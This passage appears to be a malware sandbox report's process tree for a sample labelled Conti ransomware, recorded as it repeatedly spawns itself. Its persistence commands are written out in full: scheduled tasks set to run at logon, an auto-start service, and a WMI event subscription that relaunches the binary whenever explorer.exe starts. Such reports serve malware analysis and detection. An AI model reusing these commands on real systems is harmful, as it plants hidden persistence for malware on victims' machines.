        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:20244
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:14844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:1992
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:11080
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:17508
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:17820
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:20156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13420
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8152
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6372
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7844
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:1288
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:8612
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9076
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:17772
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18168
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:8712
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9884
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:10144
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:10316
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:11092
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:7476
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9604
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7236
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11940
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:12572
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:10556
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:5324
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13104
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13080
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:3812
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:15596
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:17332
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:4252
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2020
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8144
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:5368
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:17132
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:17628
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:17716
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13588
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7320
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    - Drops startup file
    - Adds Run key to start application
    PID:3388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:5196
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:5700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5876
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:4832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:5264
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:1244
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6280
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6304
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:6984
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:6552
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:5348
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6648
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:14512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13724
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17940
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:19172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:19408
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:2972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7616
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8860
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:8776
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:9732
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:8320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6644
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9520
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:3632
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10432
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:5856
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:6240
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:11344
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4688
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11740
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11880
